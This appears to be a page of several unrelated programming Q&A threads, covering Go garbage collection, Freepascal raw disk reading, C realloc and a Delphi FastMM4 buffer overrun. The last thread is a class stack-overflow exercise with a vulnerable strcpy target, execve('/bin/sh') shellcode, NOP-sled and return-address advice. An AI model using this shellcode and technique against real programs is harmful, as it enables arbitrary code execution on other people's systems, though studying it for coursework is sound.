Related
The following code declares two arrays, and then iterates over stdin ( just blindly iterates over the file - no interaction with the arrays ).
This is causing continuous increase in memory.
However, if I just declare two arrays and sleep - there is no increase in memory.
Similarly, if I just iterate over stdin - there is no increase in memory.
But together ( apart from the memory allocated for the arrays) there is a continuous increase.
I measure this by looking at the RES memory using top tool.
I have commented out the first few lines in func doSomething() to show that there is no memory increase when it is commented. Uncommenting the lines and running will cause an increase.
NOTE: This was run on go 1.4.2, 1.5.3 and 1.6
NOTE: You will need to recreate this on a machine with at least 16GB RAM as I have observed it only on the array size of 1 billion.
package main
import (
"bufio"
"fmt"
"io"
"os"
)
type MyStruct struct {
arr1 []int
arr2 []int
}
func (ms *MyStruct) Init(size int, arr1 []int, arr2 []int) error {
fmt.Printf("initializing mystruct arr1...\n")
ms.arr1 = arr1
if ms.arr1 == nil {
ms.arr1 = make([]int, size, size)
}
fmt.Printf("initializing mystruct arr2...\n")
ms.arr2 = arr2
if ms.arr2 == nil {
ms.arr2 = make([]int, size, size)
}
fmt.Printf("done initializing ...\n")
for i := 0; i < size; i++ {
ms.arr1[i] = 0
ms.arr2[i] = 0
}
return nil
}
func doSomething() error {
fmt.Printf("starting...\n")
fmt.Printf("allocating\n")
/* NOTE WHEN UNCOMMENTED CAUSES MEMORY INCREASE
ms := &MyStruct{}
size := 1000000000
ms.Init(size, nil, nil)
*/
fmt.Printf("finished allocating..%d %d\n", len(ms.arr1), len(ms.arr2))
fmt.Printf("reading from stdin...\n")
reader := bufio.NewReader(os.Stdin)
var line string
var readErr error
var lineNo int = 0
for {
if lineNo%1000000 == 0 {
fmt.Printf("read %d lines...\n", lineNo)
}
lineNo++
line, readErr = reader.ReadString('\n')
if readErr != nil {
fmt.Printf("break at %s\n", line)
break
}
}
if readErr == io.EOF {
readErr = nil
}
if readErr != nil {
return readErr
}
return nil
}
func main() {
if err := doSomething(); err != nil {
panic(err)
}
fmt.Printf("done...\n")
}
Is this an issue with my code ? Or is the go system doing something unintended ?
If its the latter, how can I go about debugging this ?
To make it easier to replicate here are pastebin files for good case ( commented portion of the above code) and bad case ( with uncommented portion )
wget http://pastebin.com/raw/QfG22xXk -O badcase.go
yes "1234567890" | go run badcase.go
wget http://pastebin.com/raw/G9xS2fKy -O goodcase.go
yes "1234567890" | go run goodcase.go
Thank you Volker for your above comments. I wanted to capture the process of debugging this as an answer.
The RES top / htop just tells you at a process level what is going on with memory. GODEBUG="gctrace=1" gives you more insight into how the memory is being handled.
A simple run with gctrace set gives the following
root#localhost ~ # yes "12345678901234567890123456789012" | GODEBUG="gctrace=1" go run badcase.go
starting...
allocating
initializing mystruct arr1...
initializing mystruct arr2...
gc 1 #0.050s 0%: 0.19+0.23+0.068 ms clock, 0.58+0.016/0.16/0.25+0.20 ms cpu, 7629->7629->7629 MB, 7630 MB goal, 8 P
done initializing ...
gc 2 #0.100s 0%: 0.070+2515+0.23 ms clock, 0.49+0.025/0.096/0.24+1.6finished allocating..1000000000 1000000000
ms cpu, 15258->15258reading from stdin...
->15258 MB, 15259read 0 lines...
MB goal, 8 P
gc 3 #2.620s 0%: 0.009+0.32+0.23 ms clock, 0.072+0/0.20/0.11+1.8 ms cpu, 15259->15259->15258 MB, 30517 MB goal, 8 P
read 1000000 lines...
read 2000000 lines...
read 3000000 lines...
read 4000000 lines...
....
read 51000000 lines...
read 52000000 lines...
read 53000000 lines...
read 54000000 lines...
What does this mean ?
As you can see, the gc hasn't been called for a while now. This means that all the garbage generated from reader.ReadString hasn't been collected and free'd.
Why isn't the garbage collector collecting this garbage ?
From The go gc
Instead we provide a single knob, called GOGC. This value controls
the total size of the heap relative to the size of reachable objects.
The default value of 100 means that total heap size is now 100% bigger
than (i.e., twice) the size of the reachable objects after the last
collection.
Since GOGC wasn't set - the default was 100%. So, it would have collected the garbage only when it reached ~32GB. ( Since initially the two arrays give you 16GB of heap space - only when heap doubles will the gc trigger ).
How can I change this ?
Try setting the GOGC=25.
With the GOGC as 25
root#localhost ~ # yes "12345678901234567890123456789012" | GODEBUG="gctrace=1" GOGC=25 go run badcase.go
starting...
allocating
initializing mystruct arr1...
initializing mystruct arr2...
gc 1 #0.051s 0%: 0.14+0.30+0.11 ms clock, 0.42+0.016/0.31/0.094+0.35 ms cpu, 7629->7629->7629 MB, 7630 MB goal, 8 P
done initializing ...
finished allocating..1000000000 1000000000
gc 2 #0.102s reading from stdin...
12%: 0.058+2480+0.26 ms clock, 0.40+0.022/2480/0.10+1.8 ms cpu, 15258->15258->15258 MB, 15259 MB goal, 8 P
read 0 lines...
gc 3 #2.584s 12%: 0.009+0.20+0.22 ms clock, 0.075+0/0.24/0.046+1.8 ms cpu, 15259->15259->15258 MB, 19073 MB goal, 8 P
read 1000000 lines...
read 2000000 lines...
read 3000000 lines...
read 4000000 lines...
....
read 19000000 lines...
read 20000000 lines...
gc 4 #6.539s 4%: 0.019+2.3+0.23 ms clock, 0.15+0/2.1/12+1.8 ms cpu, 17166->17166->15258 MB, 19073 MB goal, 8 P
As you can see, another gc was triggered.
But top/htop shows it stable at ~20 GB instead of the calculated 16GB.
The garbage collector doesn't "have" to give it back to the OS. It will sometimes keep it to use efficiently for the future. It doesn't have to keep taking from the OS and giving back - The extra 4 gb is in its pool of free space to use before asking the OS again.
I'm having some problems addressing logical drives. For clarity, my definition of 'Physical Disk' (PD) is the raw disk regardless of partitioning. 'Logical Drive' (LD) refers to a volume such as Drive E:, Drive F: etc.
Using the examples from RRUZ (my hero SO member) and implementing the WMI Class I have created a Freepascal program for reading disks. I address PD by \.\PhyscialDiskX and that works fine by the examples created by RRUZ (here). I can read all the bytes no problem for PD's.
I use the same handle technique for logical volumes, which are \?\E: or \?\F: etc. I then use IOCTL_DISK_GET_LENGTH_INFO to get the length of the PD or LV and then read the byte range until ReadBytes = TotalLength. I read on the MSDN website that it will automatically retrieve the size of whatever device handle it is passed - PD or LD alike. And indeed I have checked the szie values returned by my program againzt WinHex, FTK Imager, HxD and several other low level disk tools. With the exception of 1 byte variances caused by zero or 1 starting positions, they match.
However, for some reason, my program is failing to acquire the final 32Kb on Windows 7 Pro 64-bit, despite running the program as administrator. It reads the whole disk and then on the final buffer read (which is done as 64Kb buffers) BytesRead returns -1. Using the debugger I worked out the following values :
493,846,527 exact LV size of Drive F:
493,813,760 total bytes read at time of failure
32,767 bytes missing
The result of the following
BytesRead := FileRead(hDiskHandle, Buffer, (DiskSize - TotalBytesRead));
is -1 on the final buffer read. THis the line that tests for the end of the disk by saying "if the amount left to read is less than the size of the buffer size, only try to read what is left". So, the value of bytes being asked to be stored by FileRead at the end is 32,767 (because DiskSize - TotalBytesRead at that point is 32,767, meaning that's how many bytes are left to read of the disk). The designated size of buffer is 64Kb. My understanding is that you can put less in a buffer than it is capable of holding but not more (FileRead states : "Buffer must be at least Count bytes long. No checking on this is performed"? IS that correct? If it is not then this may be (and probably is) the issue.
I don't know if it's due to IOCTL_DISK_GET_LENGTH_INFO, the buffer storage or something else? Hoping someone can help? I have also posted along with some screenshot at the Lazarus Freepascal forum. Here is my relevant code sections:
The handle:
// Create handle to source disk. Abort if fails
hSelectedDisk := CreateFileW(PWideChar(SourceDevice), FILE_READ_DATA,
FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, 0);
if hSelectedDisk = INVALID_HANDLE_VALUE then
begin
RaiseLastOSError;
end
Compute the size ion bytes of the given device:
ExactDiskSize := GetDiskLengthInBytes(hSelectedDisk);
Now read the device and store the input as a flat file
ImageResult := WindowsImageDisk(hSelectedDisk, ExactDiskSize, HashChoice, hImageName);
Functions for the above:
function GetDiskLengthInBytes(hSelectedDisk : THandle) : Int64;
const
// These are defined at the MSDN.Microsoft.com website for DeviceIOControl
// and https://forum.tuts4you.com/topic/22361-deviceiocontrol-ioctl-codes/
{
IOCTL_DISK_GET_DRIVE_GEOMETRY = $0070000
IOCTL_DISK_GET_PARTITION_INFO = $0074004
IOCTL_DISK_SET_PARTITION_INFO = $007C008
IOCTL_DISK_GET_DRIVE_LAYOUT = $007400C
IOCTL_DISK_SET_DRIVE_LAYOUT = $007C010
IOCTL_DISK_VERIFY = $0070014
IOCTL_DISK_FORMAT_TRACKS = $007C018
IOCTL_DISK_REASSIGN_BLOCKS = $007C01C
IOCTL_DISK_PERFORMANCE = $0070020
IOCTL_DISK_IS_WRITABLE = $0070024
IOCTL_DISK_LOGGING = $0070028
IOCTL_DISK_FORMAT_TRACKS_EX = $007C02C
IOCTL_DISK_HISTOGRAM_STRUCTURE = $0070030
IOCTL_DISK_HISTOGRAM_DATA = $0070034
IOCTL_DISK_HISTOGRAM_RESET = $0070038
IOCTL_DISK_REQUEST_STRUCTURE = $007003C
IOCTL_DISK_REQUEST_DATA = $0070040
IOCTL_DISK_CONTROLLER_NUMBER = $0070044
IOCTL_DISK_GET_PARTITION_INFO_EX = $0070048
IOCTL_DISK_SET_PARTITION_INFO_EX = $007C04C
IOCTL_DISK_GET_DRIVE_LAYOUT_EX = $0070050
IOCTL_DISK_SET_DRIVE_LAYOUT_EX = $007C054
IOCTL_DISK_CREATE_DISK = $007C058
IOCTL_DISK_GET_LENGTH_INFO = $007405C // Our constant...
SMART_GET_VERSION = $0074080
SMART_SEND_DRIVE_COMMAND = $007C084
SMART_RCV_DRIVE_DATA = $007C088
IOCTL_DISK_GET_DRIVE_GEOMETRY_EX = $00700A0
IOCTL_DISK_UPDATE_DRIVE_SIZE = $007C0C8
IOCTL_DISK_GROW_PARTITION = $007C0D0
IOCTL_DISK_GET_CACHE_INFORMATION = $00740D4
IOCTL_DISK_SET_CACHE_INFORMATION = $007C0D8
IOCTL_DISK_GET_WRITE_CACHE_STATE = $00740DC
IOCTL_DISK_DELETE_DRIVE_LAYOUT = $007C100
IOCTL_DISK_UPDATE_PROPERTIES = $0070140
IOCTL_DISK_FORMAT_DRIVE = $007C3CC
IOCTL_DISK_SENSE_DEVICE = $00703E0
IOCTL_DISK_INTERNAL_SET_VERIFY = $0070403
IOCTL_DISK_INTERNAL_CLEAR_VERIFY = $0070407
IOCTL_DISK_INTERNAL_SET_NOTIFY = $0070408
IOCTL_DISK_CHECK_VERIFY = $0074800
IOCTL_DISK_MEDIA_REMOVAL = $0074804
IOCTL_DISK_EJECT_MEDIA = $0074808
IOCTL_DISK_LOAD_MEDIA = $007480C
IOCTL_DISK_RESERVE = $0074810
IOCTL_DISK_RELEASE = $0074814
IOCTL_DISK_FIND_NEW_DEVICES = $0074818
IOCTL_DISK_GET_MEDIA_TYPES = $0070C00
}
IOCTL_DISK_GET_LENGTH_INFO = $0007405C;
type
TDiskLength = packed record
Length : Int64;
end;
var
BytesReturned: DWORD;
DLength: TDiskLength;
ByteSize: int64;
begin
BytesReturned := 0;
// Get the length, in bytes, of the physical disk
if not DeviceIOControl(hSelectedDisk, IOCTL_DISK_GET_LENGTH_INFO, nil, 0,
#DLength, SizeOf(TDiskLength), BytesReturned, nil) then
raise Exception.Create('Unable to determine byte capacity of disk.');
ByteSize := DLength.Length;
ShowMessage(IntToStr(ByteSize));
result := ByteSize;
end;
The disk reader function
function WindowsImageDisk(hDiskHandle : THandle; DiskSize : Int64; HashChoice : Integer; hImageName : THandle) : Int64;
var
Buffer : array [0..65535] of Byte; // 1048576 (1Mb) or 262144 (240Kb) or 131072 (120Kb buffer) or 65536 (64Kb buffer)
BytesRead : integer;
NewPos, SectorCount,
TotalBytesRead, BytesWritten, TotalBytesWritten : Int64;
...
// Now to seek to start of device
FileSeek(hDiskHandle, 0, 0);
repeat
// Read device in buffered segments. Hash the disk and image portions as we go
if (DiskSize - TotalBytesRead) < SizeOf(Buffer) then
begin
// Read 65535 or less bytes
BytesRead := FileRead(hDiskHandle, Buffer, (DiskSize - TotalBytesRead));
BytesWritten := FileWrite(hImageName, Buffer, BytesRead);
end
else
begin
// Read 65536 (64kb) at a time
BytesRead := FileRead(hDiskHandle, Buffer, SizeOf(Buffer));
BytesWritten := FileWrite(hImageName, Buffer, BytesRead);
end;
if BytesRead = -1 then
begin
ShowMessage('There was a read error encountered. Aborting');
// ERROR IS THROWN AT THIS POINT ONLY WITH LD's - not PD's
exit;
end
else
begin
inc(TotalBytesRead, BytesRead);
inc(TotalBytesWritten, BytesWritten);
NewPos := NewPos + BytesRead;
...
until (TotalBytesRead = DiskSize);
Probably, it is a boundary check error. Quote from MSDN (CreateFile, note on opening physical drives and volumes, which you call logical drives):
To read or write to the last few sectors of the volume, you must call DeviceIoControl and specify FSCTL_ALLOW_EXTENDED_DASD_IO
I suspect that the problem stems from the use of 64-bit integers and arithmetic to calculate a value passed as a 32-bit Integer:
FileRead(hDiskHandle, Buffer, (DiskSize - TotalBytesRead));
I cannot explain with certainty why this might affect only LD's and not PD's, except to speculate that there may be some difference in the reported DiskSize that somehow avoids the Int64 arithmetic/32-bit problem in that case.
e.g. If the 32-bit truncated result of the Int64 arithmetic is NEGATIVE (which requires only that the high bit be set, i.e. 1 not 0) then FileRead() will return -1 since a negative value for "bytes to read" is invalid.
But if the high-bit in the result is NOT set, resulting in a positive value, then even if that value is significantly greater than 64KB this will not cause an error since this invocation is called only when you have already determined that there are fewer than 64K bytes to be read. The 32-bit truncated Int64 arithmetic may result in a request to read 2 BILLION bytes but FileRead() is only going to read the actual 32K bytes that remain anyway.
However, this very fact points to a solution (assuming that this diagnosis is correct).
As noted, FileRead() (which is just a wrapper around ReadFile(), on Windows) will read either the number of bytes specified or as many bytes remain to be read, whichever is lower.
So if you specify 64KB but only 32KB remain, then only 32KB will be read.
You can replace all of this code:
if (DiskSize - TotalBytesRead) < SizeOf(Buffer) then
begin
// Read 65535 or less bytes
BytesRead := FileRead(hDiskHandle, Buffer, (DiskSize - TotalBytesRead));
BytesWritten := FileWrite(hImageName, Buffer, BytesRead);
end
else
begin
// Read 65536 (64kb) at a time
BytesRead := FileRead(hDiskHandle, Buffer, SizeOf(Buffer));
BytesWritten := FileWrite(hImageName, Buffer, BytesRead);
end;
With simply:
BytesRead := FileRead(hDiskHandle, Buffer, SizeOf(Buffer));
BytesWritten := FileWrite(hImageName, Buffer, BytesRead);
This eliminates the 64-bit arithmetic and any possibility for errors resulting from 64-bit results being passed in 32-bit values. If the final segment contains only 32KB, then only 32KB will be read.
You can also simplify your loop termination (removing the 64-bit arithmetic, unless you need the accumulated values for other purposes). Instead of accumulating the total bytes read, you can terminate your loop simply when your FileRead() reads less than the number of bytes specified. i.e. BytesRead < 64KB:
Even if your disk is an exact multiple of 64KB blocks, your penultimate FileRead() will return a full buffer of 64KB, and the very next FileRead() will read 0 bytes, which is < 64KB, terminating the loop. :)
32,767 is an odd number and not a multiple of the sector size. That means that the final part sector is simply not readable.
OK, I've done it.
Credit to user2024154 as that was the first major thing. So based on that I've granted the answer there.
However, what was not clear was how to properly assign its const value. After many hours of Googling I stumbled across this . It was the only Delphi example I could find where it actually shows FSCTL_ALLOW_EXTENDED_DASD_IO defined, allbeit one had to look through much of it to pull the values together.
For the benefit of anyone else, the values that I needed, which now work, is :
const
FILE_DEVICE_FILE_SYSTEM = $00000009;
FILE_ANY_ACCESS = 0;
METHOD_NEITHER = 3;
FSCTL_ALLOW_EXTENDED_DASD_IO = ((FILE_DEVICE_FILE_SYSTEM shl 16)
or (FILE_ANY_ACCESS shl 14)
or (32 shl 2) or METHOD_NEITHER);
I then used FSCTL_ALLOW_EXTENDED_DASD_IO after first creating the handle and then :
if not DeviceIOControl(hSelectedDisk, FSCTL_ALLOW_EXTENDED_DASD_IO, nil, 0,
nil, 0, BytesReturned, nil) then
raise Exception.Create('Unable to initiate FSCTL_ALLOW_EXTENDED_DASD_IO disk access.');
This works with freepascal and with some minor adjustment should work with Delphi.
Thanks to you all for your continued help, especially user2024154 and, as always, David, for his continued assistance.
UPDATE : Except now physcial disk access doesn't work at all! But I'll work something out.
How does the realloc function (c), which only takes the length of the new section of memory, copy the old (smaller, to force the situation in question) section of memory to the new one? (this is assuming it needs to, as in, the memory could not be found contiguous to the old block to extend it)
If it coppied the full size (the second arg to realloc) from the smaller section, it would be reading from invalid memory, right?
Thanks,
J
EDIT: code illustrating an extreme example:
int main ( void ) {
unsigned int i=0;
void *test_ptr1, *test_ptr2;
// this first bit just finds the size of the available heap, ignore it if you wish
do {
free(test_ptr1);
printf("%u\n",i);
i+=1073741824; // 1GiB
} while ((test_ptr1 = malloc(i)));
i-=1073741824;
do {
free(test_ptr1);
printf("%u\n",i);
i+=1048576; // 1MiB
} while ((test_ptr1 = malloc(i)));
i-=1048576;
do {
free(test_ptr1);
printf("%u\n",i);
i+=1024; // 1KiB
} while ((test_ptr1 = malloc(i)));
i-=1024;
do {
free(test_ptr1);
printf("%u\n",i);
i+=128; // 128B
} while ((test_ptr1 = malloc(i)));
i-=128;
do {
free(test_ptr1);
printf("%u\n",i);
i++; // 1B
} while ((test_ptr1 = malloc(i)));
i--;
// i is now equal to the size of the available heap (I think...)
test_ptr1 = calloc(i-1, 1); // calloc all but one byte of the available heap
test_ptr2 = malloc(1); // malloc the reamining byte
printf("proving calloc: %u\n", ((char *)test_ptr1)[i-2]); // outputs 0, this might be a point of weakness int this program, if this is optimised in any way it fails to demonstrate the effect
*(char *)test_ptr2 = 'c'; // initialise the byte to 'c'
free(test_ptr1); // free the vast majority of the heap
if ((test_ptr1 = realloc(test_ptr2, i-1))) { // realloc the one byte to the space taken up by the previous calloc that was freed in the previous line
printf("realloc success: %c\n", *(char *)test_ptr1); // outputs c, but whats in the rest of this memory section? and more informatively, where was it coppied from?
getc(stdin);
free(test_ptr1);
free(test_ptr2);
return 0;
} else {
printf("realloc failed\n");
free(test_ptr2);
return -1;
}
}
output:
1945305043
1945305044
1945305045
1945305046
1945305047
1945305048
1945305049
1945305050
1945305051
1945305052
1945305053
1945305054
1945305055
1945305056
proving calloc: 0
realloc success: c
If it coppied the full size (the second arg to realloc) from the
smaller section, it would be reading from invalid memory, right?
Right you are, take a look at the documentation:
The content of the memory block is preserved up to the lesser of the
new and old sizes, even if the block is moved to a new location. If
the new size is larger, the value of the newly allocated portion is
indeterminate.
I have this function in our Delphi 7 application, which worked very well until I included FastMM4 v4.99 into the project. Once included, FastMM4 raised the following error message: "FastMM has detected an error during a FreeMem operation. The block footer has been corrupted." The execution halts in the FreeMem line.
function BinaryFieldToArrayOfWord( aBinaryField : TVarBytesField;
out aArrValues : TArrWord ) : Boolean;
var
p : Pointer;
begin
if not aBinaryField.IsBlob then
begin
GetMem( p, aBinaryField.DataSize );
try
if aBinaryField.GetData( p ) then
begin
// do something
end;
finally
FreeMem( p, aBinaryField.DataSize );
end;
end; // if
end;
First I thought that there must be a bug in the function, but it is practically the same as this TField.GetData method example in the Delphi 7 help:
{ Retrieve the "raw" data from Field1 }
with Field1 do
begin
if not IsBlob { this does not work for BLOB fields }
begin
{ Allocate space }
GetMem(MyBuffer, DataSize);
try
if not GetData(MyBuffer) then
MessageDlg(DisplayName + ' is NULL', mtInformation, [mbOK], 0)
else
{ Do something with the data };
finally
{ Free the space }
FreeMem(MyBuffer, DataSize);
end;
end;
end;
I found on the internet that the above error message is often because there is not enough space for the data. So I increased the size of the memory block and the error message vanished and the function worked as expected. After some experiment, I figured out that 2 bytes is required and enough:
GetMem( p, aBinaryField.DataSize + 2 );
FreeMem( p, aBinaryField.DataSize + 2 );
Although it solved my problem, I am not completely relaxed with this solution as I don't know its background. It would be nice to know the reason of this message. Does FastMM4 needs additional 2 bytes for its own footer?
UPDATE: After spending a day with debugging, I am now believe that there is a bug in the Delphi 7 TField.GetData method. It writes 2 zero bytes beyond the allocated memory block. I tried it with and without FastMM4, and it overwrites in both cases (so it is not a FastMM4 error). I also tried with typecasting the field as TVarBytesField, no difference.
Here is the code I used with detailed comments, containing the results.
My only remaining question: have they corrected this bug in later Delphis?
procedure TfrmMain_PBC_TH.btnDEBUGClick(Sender: TObject);
type
TArrBytes = array of Byte;
var
p : Pointer;
qryTest : TADOQuery;
begin
qryTest := TADOQuery.Create( Application );
try
// The type of the TQM_BinaryData.BinData column in the MSSQL database is a varbinary(7900).
// Load the #168 binary data record. It contains exactly 7900 bytes, and the value of each byte is 255
qryTest.Connection := MainConn;
qryTest.SQL.Add('SELECT [BinData] FROM [TQM_BinaryData] WHERE [Id] = 168');
qryTest.Open;
// Allocate the memory block for this.
GetMem( p, qryTest.FieldByName('BinData').DataSize );
// DataSize is 7902 because all TVarBytesFields have 2 byte prefix in Delphi, containing the data length.
// So the size of the allocated memory block is 7902 bytes - we are correct so far.
try
// Values of the first four bytes beyond the end of the memory block (memory thrash at this point) before GetData:
// TArrBytes(p)[7902] = 96
// TArrBytes(p)[7903] = 197
// TArrBytes(p)[7904] = 219
// TArrBytes(p)[7905] = 43
// Critical point: get the data from the field with the Delphi GetData method
qryTest.FieldByName('BinData').GetData( p );
// Values after GetData:
// TArrBytes(p)[0] = 220 TArrBytes(p)[0] and TArrBytes(p)[1] contains the length of the binary data
// TArrBytes(p)[1] = 30 it is correct as 30 * 256 + 220 = 7900
// TArrBytes(p)[2] = 255 actual data starts
// TArrBytes(p3[2] = 255
// ...
// TArrBytes(p)[7900] = 255
// TArrBytes(p)[7901] = 255 actual data ends
// TArrBytes(p)[7902] = 0 changed from 96!
// TArrBytes(p)[7903] = 0 changed from 197!
// TArrBytes(p)[7904] = 219 no change
// TArrBytes(p)[7905] = 43 no change
finally
// Here FastMM4 throws the block footer corrupt error because GetData modified the 2 bytes after the allocated memory block
FreeMem( p );
end;
qryTest.Close;
finally
qryTest.Free;
end;
end;
After adding a Data Breakpoint, the call stack is:
#FillChar(???,???,???)
TDataSet.DataConvert($7D599770,$12F448,$7D51F7F0,True)
VarToBuffer
TCustomADODataSet.GetFieldData($7D599770,$7D51F7F0,True)
TField.GetData($7D51F7F0,True)
TfrmMain_PBC_TH.btnDEBUGClick($7FF7A380)
TControl.Click
TButton.Click
FastMM allocates some memory at the end of the block that you allocate and writes known values there. Then, when you deallocate, FastMM checks that those values are as expected. If not, then the error that you see is raised because FastMM knows that your code is writing beyond the end of the memory block.
So, something inside the try/finally block is writing beyond the end of the block of memory. And that's why increasing its size removes the FastMM error. Without seeing that code, we cannot tell what exactly is wrong and you will need to do some debugging to solve the problem.
You are quite right to be concerned by your "solution". Trial and error is never a reasonable way to program. You must find out why your program is writing beyond the end of the block.
One way to do that is to set a data breakpoint for the address immediately beyond the end of this block. That would force the debugger to break on the code that writes beyond the end of the block.
As an aside, you don't need to pass the second parameter to FreeMem. Doing so makes your code harder to maintain and serves absolutely no purpose. Pass just the pointer to FreeMem.
I'm trying to figure out this problem for one of my comp sci classes, I've utilized every resource and still having issues, if someone could provide some insight, I'd greatly appreciate it.
I have this "target" I need to execute a execve(“/bin/sh”) with the buffer overflow exploit. In the overflow of buf[128], when executing the unsafe command strcpy, a pointer back into the buffer appears in the location where the system expects to find return address.
target.c
int bar(char *arg, char *out)
{
strcpy(out,arg);
return 0;
}
int foo(char *argv[])
{
char buf[128];
bar(argv[1], buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2");
exit(EXIT_FAILURE);
}
foo(argv);
return 0;
}
exploit.c
#include "shellcode.h"
#define TARGET "/tmp/target1"
int main(void)
{
char *args[3];
char *env[1];
args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
env[0] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}
shellcode.h
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
I understand I need to fill argv[1] with over 128 bytes, the bytes over 128 being the return address, which should be pointed back to the buffer so it executes the /bin/sh within. Is that correct thus far? Can someone provide the next step?
Thanks very much for any help.
Well, so you want the program to execute your shellcode. It's already in machine form, so it's ready to be executed by the system. You've stored it in a buffer. So, the question would be "How does the system know to execute my code?" More precisely, "How does the system know where to look for the next code to be executed?" The answer in this case is the return address you're talking about.
Basically, you're on the right track. Have you tried executing the code? One thing I've noticed when performing this type of exploit is that it's not an exact science. Sometimes, there are other things in memory that you don't expect to be there, so you have to increase the number of bytes you add into your buffer in order to correctly align the return address with where the system expects it to be.
I'm not a specialist in security, but I can tell you a few things that might help. One is that I usually include a 'NOP Sled' - essentially just a series of 0x90 bytes that don't do anything other than execute 'NOP' instructions on the processor. Another trick is to repeat the return address at the end of the buffer, so that if even one of them overwrites the return address on the stack, you'll have a successful return to where you want.
So, your buffer will look like this:
| NOP SLED | SHELLCODE | REPEATED RETURN ADDRESS |
(Note: These aren't my ideas, I got them from Hacking: The Art of Exploitation, by Jon Erickson. I recommend this book if you're interested in learning more about this).
To calculate the address, you can use something similar to the following:
unsigned long sp(void)
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char* buffer;
offset = 0;
esp = sp();
ret = esp - offset;
}
Now, ret will hold the return address you want to return to, assuming that you allocate buffer to be on the heap.